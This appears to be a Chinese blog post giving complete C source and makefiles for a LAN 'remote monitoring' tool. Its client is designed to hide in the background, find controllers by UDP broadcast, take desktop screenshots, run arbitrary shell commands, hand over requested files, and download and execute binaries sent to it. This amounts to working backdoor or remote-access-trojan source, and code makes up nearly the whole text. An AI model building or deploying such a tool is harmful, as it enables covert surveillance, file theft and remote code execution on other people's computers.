Remote monitoring software

一、功能描述

受控端功能描述:

1)尽可能隐蔽的方式在后台运行。

2)能够接受控制端的指令并返回相应的操作结果。

3)一个受控端能够同时被多个控制端控制。

控制端功能描述:

1)能够自动发现局域网中的所有受控端。

2)能够获取指定受控端的桌面截图。

3)能够在受控端执行任意命令并返回结果。

4)能够向指定受控端发送可执行文件并执行。

5)一个控制端能够同时控制多个受控端。


二、框架介绍

1.服务端框架

1)主线程:用来处理服务端的人机交互。

2)子线程1:周期向局域网其他主机发送广播,广播信息为服务器的Ip和port信息。

3)子线程2:接收来自客户端的连接请求,并存储相关连接信息。

2.客户端框架

1)主线程:用来接收广播,并且对广播信息(服务端ip和port信息)进行验证,如果是新的服务器,则创建子线程进行处理。

2)子线程:根据广播信息与服务器进行连接,并处理来自服务端的命令。


三、服务器端实现

1.makefile文件

server:server.o linklist.o
	gcc server.o linklist.o -lpthread -o server
server.o:server.c linklist.h
	gcc -c server.c
linklist.o:linklist.c linklist.h
	gcc -c linklist.c
clean:
	rm server.o linklist.o server

2.linklist.h

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>

typedef struct _ClientInfo{
  char ip[16];
  struct sockaddr_in addr_in;
  int decr;
  pthread_t pid;
}ClientInfo;

typedef struct _ListNode{
  ClientInfo data;
  struct _ListNode *next;
}ListNode;

extern ListNode * CreateList(void);
//extern void Delete(ListNode *head,ClientInfo data);
extern void Insert(ListNode *head,ClientInfo data);
extern void Display(ListNode *head);
extern int FindNode(ListNode *head,char ip[]);

3.linklist.c

#include "linklist.h"

ListNode *CreateList(void)
{
  ListNode *head=(ListNode *)malloc(sizeof(ListNode));
  head->next=NULL;
  return head;
}

void Insert(ListNode *head,ClientInfo data)
{
  ListNode *s,*p;
  p=head;
  while(p->next!=NULL)
      p=p->next;
  s=(ListNode *)malloc(sizeof(ListNode));
  s->data=data;
  s->next=p->next;
  p->next=s;
}

void Display(ListNode *head)
{
  ListNode *p=head->next;
  int i=1;
  while(p!=NULL)
    {
      printf("%d) %s\n",i,p->data.ip);
      p=p->next;
      i++;
    }
  printf("\n\n");
}

int FindNode(ListNode *head,char ip[])
{
  ListNode *p=head->next;
  while(p!=NULL)
    {
      if(strcmp(p->data.ip,ip)==0)
	{
	  return p->data.decr;
	}
      p=p->next;
    }
  return 0;
}

4.server.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <signal.h>
#include <fcntl.h>
#include "linklist.h"
#include <time.h>

#define MAXLEN 1024

ListNode *client_list;
char cur_process_ip[16];

char enter_msg[MAXLEN];
char send_msg[MAXLEN];
char recv_msg[MAXLEN];
char file_name[MAXLEN];

pthread_mutex_t mutex=PTHREAD_MUTEX_INITIALIZER;

void HandleConnect(int *serverfd);
void HandleClient();
void HandleMenu();


/****************************************************************
Get size of a file
****************************************************************/
int FileSize(char *file_name)
{
  struct stat stat_buff;
  stat(file_name,&stat_buff);
  int size=stat_buff.st_size;
  return size;
}


void HandleConnect(int *serverfd){
  socklen_t client_len;
  int sockfd=*serverfd;
  ClientInfo client_info;
  struct sockaddr_in client_addr;
  while(1)
    {
      if((client_info.decr=accept(sockfd,(struct sockaddr*)&client_addr,&client_len))==-1)
	{
	  printf("Connect failed!");
	}
      else
	{
	  //printf("Connect to %s succesfully!\n",inet_ntoa(client_addr.sin_addr));
	  client_info.addr_in=client_addr;
	  strcpy(client_info.ip,inet_ntoa(client_addr.sin_addr));
          Insert(client_list,client_info);
	}
    }
}


/**********************************************************************
Receive file function.
 *********************************************************************/
void ReceiveFile(char *file_name,int sfd)
{
  bzero(recv_msg,sizeof(recv_msg));
  int n=recv(sfd,recv_msg,sizeof(recv_msg),0);   //get the size of file                                                                         
  int file_size=atoi(recv_msg);
  strcpy(send_msg,"ok");
  send(sfd,send_msg,strlen(send_msg)+1,0);
  int fd=open(file_name,O_WRONLY|O_CREAT,0777);
  bzero(recv_msg,sizeof(recv_msg));
  int nread=0,count=0;
  printf("Start to download file.\n");
  while(count<file_size)
    {
      nread=recv(sfd,recv_msg,sizeof(recv_msg),0);
      if(nread<0)
	{
	  break;
	}
      count+=nread;
      write(fd,recv_msg,nread);
      bzero(recv_msg,sizeof(recv_msg));
    }
  printf("Download file finished.\n");
  close(fd);
}


/********************************************************************
Send file function.
******************************************************************/
void SendFile(char *send_file_name,int sockfd)
{
  int size=FileSize(send_file_name);
  char temp[MAXLEN];
  char buff[MAXLEN];
  int nread;
  sprintf(temp,"%d",size);
  send(sockfd,temp,sizeof(temp),0);       //send the size of file to the server                                                                 
  while((nread=recv(sockfd,buff,MAXLEN,0))<=0);    //receive the signal from server to start send file                                          
  //FILE *read_file=fopen(send_file_name,"rb");
  int fd=open(send_file_name,O_RDONLY);
  int nfread=0;
  printf("Start to send file.\n");
  while((nfread=read(fd,send_msg,MAXLEN))>0)
    {
      send(sockfd,send_msg,nfread,0);
      bzero(send_msg,sizeof(send_msg));
    }
  printf("Send file finished.\n");
  close(fd);
}


void ScreenPrint(int sfd)
{
  bzero(send_msg,MAXLEN);
  sprintf(send_msg,"%s@","screen");
  send(sfd,send_msg,strlen(send_msg)+1,0);
}


void SendCommandAndReturnResult(int sfd)
{
  printf("Please enter the command:");
  getchar();
  fgets(enter_msg,sizeof(enter_msg),stdin);
  sprintf(send_msg,"%s@%s","command",enter_msg);
  send(sfd,send_msg,strlen(send_msg)+1,0);
  int nread=recv(sfd,recv_msg,sizeof(recv_msg),0);
  if(nread>0)
    {
      printf("%s",recv_msg);
    }
  return;
}

void DownloadFile(int sfd)
{
  printf("Please enter the file name:");
  scanf("%s",enter_msg);
  sprintf(send_msg,"%s@%s","download",enter_msg);
  send(sfd,send_msg,strlen(send_msg)+1,0);
  sprintf(file_name,"download/%s",enter_msg);
  ReceiveFile(file_name,sfd);
  return;
}


void SendFileAndExcute(int sfd)
{
  printf("Please enter the file name to be sent:");
  scanf("%s",enter_msg);
  bzero(send_msg,sizeof(send_msg));
  sprintf(send_msg,"%s@%s","send",enter_msg);
  printf("%s\n",send_msg);
  send(sfd,send_msg,strlen(send_msg)+1,0);
  SendFile(enter_msg,sfd);
}



void HandleClient(int sfd)
{
  int choose=0;
  while(choose!=5)
    {
      printf("\n");
      printf("1.Get the desktop screenshot\n");
      printf("2.The instruction execution and returns the result\n");
      printf("3.Download the files in controlled client\n");
      printf("4.Send the executable files and execute them\n");
      printf("5.return\n");
      printf("Please make a choice(1-5):");
      scanf("%d",&choose);
      if(choose==5)
	{
	  return;
	}
      else if(choose==1)
	{
	  sprintf(send_msg,"%s@","screen");
	  send(sfd,send_msg,strlen(send_msg)+1,0);
	  char strtime[20];
	  time_t timep;
	  struct tm *p_tm;
	  timep=time(NULL);
	  p_tm=localtime(&timep);
	  strftime(strtime,sizeof(strtime),"%Y-%m-%d-%H-%M-%S", p_tm);
	  sprintf(file_name,"screen/%s.png",strtime);
	  ReceiveFile(file_name,sfd);
	}
      else if(choose==2)
	{
	  SendCommandAndReturnResult(sfd);
	}
      else if(choose==3)
	{
	  DownloadFile(sfd);
	}
      else
	{
	  SendFileAndExcute(sfd);
	}
    }
}

void HandleBroadcast()
{
  int sock=-1;
  if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
    {
      printf("Socket error\n");
      return;
    }

  const int opt=1;
  int nb=setsockopt(sock,SOL_SOCKET,SO_BROADCAST,(char *)&opt,sizeof(opt));
  if(nb==-1)
    {
      printf("Set socket error...\n");
      return;
    }

  struct sockaddr_in addrto;
  bzero(&addrto,sizeof(struct sockaddr_in));
  addrto.sin_family=AF_INET;
  addrto.sin_addr.s_addr=htonl(INADDR_BROADCAST);
  addrto.sin_port=htons(6000);
  int nlen=sizeof(addrto);

  while(1)
    {
      sleep(1);
      char smsg[]="192.168.111.131@8000";   //ip and port
      int ret=sendto(sock,smsg,strlen(smsg)+1,0,(struct sockaddr*)&addrto,nlen);
      if(ret<0)
	{
	  printf("Send error\n");
	}
    }

}

void HandleMenu()
{
    while(1)
    {
      int choose=0;
      while(choose<1 || choose>3)
	{
	  printf("\n");
	  printf("1.Display all the controlled client:\n");
	  printf("2.Select a controlled target:\n");
	  printf("3.Close the server:\n");
	  printf("please make a chooice(1-3):");
	  scanf("%d",&choose);
	}
      if(choose==3)
	{
	  return;
	}
      else if(choose==1)
	{
	  Display(client_list);
	}
      else
	{
	  printf("Please enter the ip you want to controll:");
	  scanf("%s",cur_process_ip);
	  int sfd=FindNode(client_list,cur_process_ip);
	  HandleClient(sfd);
	}
	
    }
}

int main(int argc,char *argv[])
{
  struct sockaddr_in server_addr,client_addr;
  int sockfd,connectfd,port,nread;
  pthread_t pid;
  char buf[MAXLEN];
  char str[MAXLEN];
  if(argc!=2)
    {
      printf("Please input port number!\n");
      exit(1);
    }

  if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
    {
      printf("Create socket failed!\n");
      exit(1);
    }
  client_list=CreateList();
  client_list->data.decr=sockfd;
  port=atoi(argv[1]);
  bzero(&server_addr,sizeof(struct sockaddr_in));
  server_addr.sin_family=AF_INET;
  server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
  server_addr.sin_port=htons(port);
  if(bind(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr))==-1)
    {
      printf("Bind port failed,the port might be occupied!\n");
      exit(2);
    }
  if(listen(sockfd,20)==-1)
    {
      printf("Listen port failed!\n");
      exit(3);
    }
  pthread_t pid1;
  printf("Start broadcast...\n");
  pthread_create(&pid1,NULL,(void*)HandleBroadcast,NULL);
  printf("Listening...\n");
  pthread_create(&pid,NULL,(void*)HandleConnect,(void*)&sockfd);
  HandleMenu();
  return 0;
}

四、客户端实现

1.makefile

client:client.o list.o
	gcc client.o list.o -lpthread -o client
client.o:client.c
	gcc -c client.c
list.o:list.c list.h
	gcc -c list.c
clean:
	rm client.o list.o client

2.list.h

#ifndef _LIST_H_
#define _LIST_H_

typedef struct _Node{
  char ip[30];
  struct _Node *next;
}Node;


extern Node *CreateList();
extern void AddNode(Node *head,char ip[]);
extern int FindNode(Node *head,char ip[]);
extern void DeleteList(Node *head);
#endif

3.list.c

#include <stdio.h>
#include <string.h>
#include<stdlib.h>
#include "list.h"

Node* CreateList()
{
  Node *head=(Node*)malloc(sizeof(Node));
  head->next=NULL;
  return head;
}

void AddNode(Node *head,char ip[])
{
  Node *temp=(Node*)malloc(sizeof(Node));
  strcpy(temp->ip,ip);
  Node *p=head;
  while(p->next!=NULL)
    {
      p=p->next;
    }
  temp->next=p->next;
  p->next=temp;
}

int FindNode(Node *head,char ip[])
{
  Node *p=head->next;
  while(p!=NULL)
    {
      if(strcmp(p->ip,ip)==0)
	return 1;
      p=p->next;
    }
  return 0;
}

void DeleteList(Node *head)
{
  Node *p,*s;
  p=head;
  s=head->next;
  while(s!=NULL)
    {
      free(p);
      p=s;
      s=s->next;
    }
  free(p);
}

4.client.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <string.h>
#include <errno.h>
#include <pthread.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <time.h>
#include "list.h"


#define MAXLEN 1024
//char server_ip[]="127.0.0.1";
//int server_port=8000;
Node *server_ip_list;

char send_msg[MAXLEN];
char recv_msg[MAXLEN];
char command_msg[MAXLEN];
char file_name[]="result.txt";
char smsg[100];



typedef struct _IpConnect{
  char ip_port[100];
  pthread_t pid;
}IpConnect;

void ConnectServer(IpConnect *ip_port);



/*****************************************************************
Get size of a file
 ****************************************************************/
int FileSize(char *file_name)
{
  struct stat stat_buff;
  stat(file_name,&stat_buff);
  int size=stat_buff.st_size;
  return size;
}



/******************************************************************
Get rid of the newline caracter in the last.
 *****************************************************************/
void GetRidOfNewlineCharacter(char str[])
{
  int i=0;
  while(str[i]!='\n' && str[i]!='\0')
    {
      i++;
    }
  str[i]='\0';
}



/******************************************************************* 
 Cut a string into two part by a character. 
 ******************************************************************/  
void CutStr(char str[],char left[], int n, char right[],int m, char c) 
{  
  int i,k,j;  
  for(i = 0 ; i < n ;i++)  
    {  
      if(str[i] == c)  
	break;  
    }  
  if(i == n)  
    {  
      i = -1;  
    }  
  else  
    {  
      memset(left,0,strlen(left));  
      for(k = 0 ; k < i ; k++)  
	{  
	  left[k] = str[k];  
	}  
    }  
  for(j = i+1 ; j < m;j++)  
    {  
      if(str[j] == '\0')  
	break;  
      right[j-i-1] = str[j];  
    }  
  left[i] = '\0';  
  if(j < m)  
    right[j-i-1] = '\0';  
  else  
    right[m] = '\0';  
}


/******************************************************************** 
 Reconnect after some time if connect failed.
 *******************************************************************/  
int ConnectRetry(int domain,int type,int protocol,const struct sockaddr *addr,socklen_t alen,int MAXSLEEP)  
{  
  int numsec,fd;  
  for(numsec=1;numsec<=MAXSLEEP;numsec<<=1)  
    {  
      if((fd=socket(domain,type,protocol))<0)  
    return -1;  
      if(connect(fd,addr,alen)==0)  
    return fd;  
      close(fd);  
      if(numsec<=MAXSLEEP/2)  
    sleep(numsec);  
    }  
  return -1;  
} 



/*******************************************************************                                                                           
Send file function.
******************************************************************/
void SendFile(char *send_file_name,int sockfd)
{
  int size=FileSize(send_file_name);
  char temp[MAXLEN];
  char buff[MAXLEN];
  int nread;
  sprintf(temp,"%d",size);
  send(sockfd,temp,sizeof(temp),0);       //send the size of file to the server                                                                 
  while((nread=recv(sockfd,buff,MAXLEN,0))<=0);    //receive the signal from server to start send file                                          
  //FILE *read_file=fopen(send_file_name,"rb");
  int fd=open(send_file_name,O_RDONLY);
  int nfread=0;
  printf("Start to send file.\n");
  while((nfread=read(fd,send_msg,MAXLEN))>0)
    {
      send(sockfd,send_msg,nfread,0);
      bzero(send_msg,sizeof(send_msg));
    }
  printf("Send file finished.\n");
  close(fd);
}




/*************************************************************
Receive file function.
 ************************************************************/
void ReceiveFile(char *file_name,int sfd)
{
  bzero(recv_msg,sizeof(recv_msg));
  int n=recv(sfd,recv_msg,sizeof(recv_msg),0);   //get the size of file                                                                         
  int file_size=atoi(recv_msg);
  strcpy(send_msg,"ok");
  send(sfd,send_msg,strlen(send_msg)+1,0);
  int fd=open(file_name,O_WRONLY|O_CREAT,0777);
  bzero(recv_msg,sizeof(recv_msg));
  int nread=0,count=0;
  printf("Start to download file.\n");
  while(count<file_size)
    {
      nread=recv(sfd,recv_msg,sizeof(recv_msg),0);
      if(nread<0)
	{
	  break;
	}
      count+=nread;
      write(fd,recv_msg,nread);
      bzero(recv_msg,sizeof(recv_msg));
    }
  printf("Download file finished.\n");
  close(fd);
}





/*******************************************************************
Excute the command from server.
 ******************************************************************/
void OperatorCommand(int sockfd)
{
  char buff[MAXLEN];
  char flag[15];
  char message[MAXLEN];
  int nread=recv(sockfd,buff,MAXLEN,0);
  printf("%s\n",buff);
  if(nread>0)
    {
      CutStr(buff,flag,15,message,MAXLEN,'@');
      bzero(send_msg,sizeof(send_msg));
      if(strcmp(flag,"screen")==0)
	{
	  char send_file_name[MAXLEN];
	  char strtime[20];
	  time_t timep;
	  struct tm *p_tm;
	  timep=time(NULL);
	  p_tm=localtime(&timep);
	  strftime(strtime,sizeof(strtime),"%Y-%m-%d-%H-%M-%S", p_tm);
	  // printf("%s\n",strtime);
	  sprintf(command_msg,"%s%s.png","gnome-screenshot -f screen/",strtime);
	  sprintf(send_file_name,"screen/%s.png",strtime);
	  system(command_msg);
	  sleep(1);
	  SendFile(send_file_name,sockfd);
	}
      else if(strcmp(flag,"command")==0)
	{
	  GetRidOfNewlineCharacter(message);
	  sprintf(command_msg,"%s > %s",message,file_name);
	  system(command_msg);
	  FILE *fp=fopen(file_name,"rb");
	  fread(send_msg,1,MAXLEN,fp);
	  send(sockfd,send_msg,strlen(send_msg)+1,0);
	  fclose(fp);
	}
      else if(strcmp(flag,"download")==0)
	{
	  SendFile(message,sockfd);
	}
      else if(strcmp(flag,"send")==0)
	{
	  ReceiveFile(message,sockfd);
	  sprintf(command_msg,"./%s",message);
	  system(command_msg);
	}
    }
}




void ListenBroadcast()
{
  server_ip_list=CreateList();
  struct sockaddr_in addrto;
  bzero(&addrto,sizeof(struct sockaddr_in));
  addrto.sin_family=AF_INET;
  addrto.sin_addr.s_addr=htonl(INADDR_ANY);
  addrto.sin_port=htons(6000);

  struct sockaddr_in from;
  bzero(&from,sizeof(struct sockaddr_in));
  from.sin_family=AF_INET;
  from.sin_addr.s_addr=htonl(INADDR_ANY);
  from.sin_port=htons(6000);

  int sock=-1;
  if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
    {
      printf("Socket error\n");
      return;
    }


  const int opt=1;
  int nb=setsockopt(sock,SOL_SOCKET,SO_BROADCAST,(char *)&opt,sizeof(opt));
  if(nb==-1)
    {
      printf("Set socket error...\n");
      return;
    }

  if(bind(sock,(struct sockaddr*)&addrto,sizeof(struct sockaddr_in))==-1)
    {
      printf("Bind error...\n");
      return;
    }
  int len=sizeof(struct sockaddr_in);
  IpConnect node;
  while(1)
    {
      bzero(smsg,100);
      int ret=recvfrom(sock,smsg,100,0,(struct sockaddr*)&from,(socklen_t *)&len);
      if(ret<=0)
	{
	  printf("Read error...\n");
	  return;
	}
      else
	{
	  if(FindNode(server_ip_list,smsg)==0)    //new server
	    {
	      //printf("test\n");
	      AddNode(server_ip_list,smsg);
	      pthread_t pid;
	      printf("%s\n",smsg);
	      node.pid=pid;
	      strcpy(node.ip_port,smsg);
	      pthread_create(&pid,NULL,(void *)ConnectServer,(void *)&node);
	    }
	}
    }
}




void ConnectServer(IpConnect *ip_connect)
{
  char ip_port[100];
  strcpy(ip_port,ip_connect->ip_port);
  //printf("%s\n",ip_port);
  //printf("test\n");
  char ip[20];
  char port[10];
  CutStr(ip_port,ip,20,port,30,'@');
  printf("%s %s\n",ip,port);
  int sockfd;
  struct sockaddr_in server_addr;
  pthread_t pid;
  int server_port=atoi(port);
  bzero(&server_addr,sizeof(struct sockaddr_in));
  server_addr.sin_family=AF_INET;
  server_addr.sin_addr.s_addr=inet_addr(ip);
  server_addr.sin_port=htons(server_port);
  if((sockfd=ConnectRetry(AF_INET,SOCK_STREAM,0,(struct sockaddr*)&server_addr,sizeof(server_addr),128))==-1)
    {
      exit(1);  
    }
  else
    {
      printf("connect succefully!\n");
    }
  while(1)
    {
      OperatorCommand(sockfd);
    }
}



int main(int argc,char *argv[])
{
  ListenBroadcast();
  DeleteList(server_ip_list);
}


五、结果演示



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值